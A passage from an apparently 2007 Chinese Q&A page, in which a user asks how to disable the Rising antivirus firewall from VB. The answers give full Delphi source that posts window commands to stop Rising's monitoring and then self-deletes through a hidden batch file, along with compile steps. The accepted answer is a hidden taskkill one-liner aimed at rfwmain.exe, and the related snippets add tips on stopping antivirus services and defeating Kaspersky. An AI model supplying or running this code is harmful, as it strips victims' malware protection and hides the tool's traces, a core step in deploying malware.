VB里如何实现关闭瑞星防火墙?

VB里如何实现关闭瑞星防火墙?
代码得怎么写?
请高手提供完整代码,谢谢!(感觉VB的资源好少,高手也好少)
我是要VB的,不是要Delphi的

第1个回答  2007-08-24
晕!你是要把别人写的代码放到你的程序里么???!!??
如果只是要干掉瑞星,下个mini版的delphi,直接编译成exe就可以了

Delphi关闭瑞星监控源代码

以下代码均来自互联网只供学习使用,切勿用于非法用途否则后果自负~!

program Project1;

uses
Windows, Messages, SysUtils;

procedure DeleteMe;
var
BatchFile: TextFile;
BatchFileName: string;
ProcessInf TProcessInformation;
StartUpInf TStartupInfo;
begin
BatchFileName := ExtractFilePath(ParamStr(0)) + '_deleteme.bat';
AssignFile(BatchFile, BatchFileName);
Rewrite(BatchFile);

Writeln(BatchFile, ':try');
Writeln(BatchFile, 'del "' + ParamStr(0) + '"');
Writeln(BatchFile,
'if exist "' + ParamStr(0) + '"' + ' goto try');
Writeln(BatchFile, 'del %0');
CloseFile(BatchFile);

FillChar(StartUpInfo, SizeOf(StartUpInfo), $00);
StartUpInfo.dwFlags := STARTF_USESHOWWINDOW;
StartUpInfo.wShowWindow := SW_HIDE;
if CreateProcess(nil, PChar(BatchFileName), nil, nil,
False, IDLE_PRIORITY_CLASS, nil, nil, StartUpInfo,
ProcessInfo) then
begin
CloseHandle(ProcessInfo.hThread);
CloseHandle(ProcessInfo.hProcess);
end;
end;

procedure StopRising;
var
hWindow: HWND;
lpClassName: array[0..20] of char;
begin
hWindow := GetWindow(GetForegroundWindow, GW_HWNDFIRST);
repeat
GetClassName(hWindow, lpClassName, 20);
if lpClassName = '#32770' then //判断搜索窗口的类名
PostMessage(hWindow, WM_COMMAND,40027,0);
PostMessage(hWindow, WM_COMMAND,2775,0);
PostMessage(hWindow, WM_COMMAND,32776,0);
hWindow := GetWindow(hWindow, GW_HWNDNEXT);
until
hWindow = 0;
end;
begin
StopRising; //调用
DeleteMe;
end.

下面是剑盟版主trojanone 编写的程序和说明
这是用Delphi编写的

可用把全部内容拷贝到 Project1.dpr 中

在 delphi7 中打开 Project1.dpr 文件,按Ctrl+F9一次, 即可生成EXE文件

程序执行完成后会删除自己,如果不想这样,可以把倒数第二行改成 //DeleteME 或删除这一行即可
第2个回答  2007-08-25
用强制结束的方法不知道行吗?
试试这个:Shell "cmd /c taskkill /f /im rfwmain.exe", vbHide本回答被提问者采纳
第3个回答  2007-08-24
不踏踏实实先把基础打好却又想拿VB不干好事的却不少……

VB里如何实现关闭瑞星防火墙?
可用把全部内容拷贝到 Project1.dpr 中 在 delphi7 中打开 Project1.dpr 文件,按Ctrl+F9一次, 即可生成EXE文件 程序执行完成后会删除自己,如果不想这样,可以把倒数第二行改成 \/\/DeleteME 或删除这一行即可

用vb编了个发邮件的软件,可是总是被瑞星屏蔽了
我们要卸掉没用的杀毒软件,防毒要从根源做起,杀毒软件只会做表面工作

‘瑞星’被‘挂马’咋办?是卸还是不卸?我已经白吃白喝有几个月啦...
建议你安装到瑞星防火墙和瑞星杀毒软件设置为暂停升级病毒库 而且病毒不单单是感染病毒库的,当随着瑞星的病毒库进入系统后,病毒就会感染其他的文件,所以你只好换一个绿色的杀毒软件扫描下系统,但是要关闭瑞星的防火墙,这样才不会冲突瑞星的杀毒能力不太强,连金山毒霸也比瑞星强悍,可以通过VB100%杀毒...

如何用VB做出像卡巴斯基那样防止自身进程被结束的功能呢??
强制终止进程,用的是一个叫做TerminateProcess()的Win32 API函数,但首先得用OpenProcess这个函数并传入要访问的进程ID来获得进程的句柄。Hook函数OpenProcess(),在每次调用OpenProcess()的时候,先检查进程ID是否为我的进程的ID(利用进程间通讯机制),如果是的话就简单地返回一个错误码就可以了,任务管...

如何禁用瑞星监控
结束进程有点麻烦,因为瑞星有些进程是服务,你可以调用net stop来停止,用net start来开启,至于服务名只能在程序中预先设定了,不知道服务名的话,自己装一个瑞星看多了什么服务就知道啦。老实坦白,我是不大清楚地,因为只有以前用过一段瑞星。不过听说卡巴很好搞定,只要修改系统时间就行了,...

瑞星个人防火墙无法打开无法卸载无法安装。200分
个人正版.只是防火墙现在已经打不开主程序并且不能升级.一点智能升级就会出现错误.在设置添加删除程序里面点出来却是安装没有卸载.在个人防火墙主文件夹里那个卸载程序一打开则提示此程序Rising RsShell 遇到问题需要关闭。我们对此引起的不便表示抱歉。用光盘安装时则提示已经安装...郁闷,谁有解决方法呢?是不是中什么病...

为何我得vb上机安装出现“run-time error”而不能使用?
2,看了你的问题,开机就出现runtime error!program:c:\\program files\\risini\\rfw\\rfwsrv.exe。不知道你的系统运行的是xp还是2003?如果是这两个的其中的任何一个的话,我想你肯定升级了xp的sp2,或者2003的sp1了吧?3,如果确实你进行了xp的sp2,或者2003的sp1的升级。那么请你尽快升级瑞星防火墙。

瑞星是如何关闭自己程序的
无法结束它的进程是SSDT HOOK NtOpenProcess+NtTerminateProcess+NtTerminateThread 至于它自己升级时退出,那是它自己程序逻辑里的判断:如果调用退出的是自身进程,允许。

瑞星的问题
引进BitDefender的引擎就好吗,这说明360连一个引擎都不会做,你想让他开发出好杀毒软件,你觉得现实吗?我们国产杀毒软件前几年确实不怎么样,但这几年发展的还都不错,但依然不如国外软件也是不争的事实!毕竟人家比咱起步早。瑞星好歹也发展了十年,才到这个水平,说明杀软路不好走。瑞星喜欢挑是非...

帮我看下电脑进程那个可以不要?
该病毒允许攻击者访问你的计算机,窃取密码和个人数据。请注意此进程所在的文件夹,正常的进程应该是在windows的system32下面⒘其他常用软件进程名:notepad.exe:记事本avp.exe:卡巴斯基QQ.exe:QQ软件rfwmain.exe:瑞星个人防火墙主程序rfwsrv.exe:瑞星个人防火墙相关程序Thunder5.exe:迅雷5TTraveler.exe:腾迅TT浏览器进程...

相似回答
大家正在搜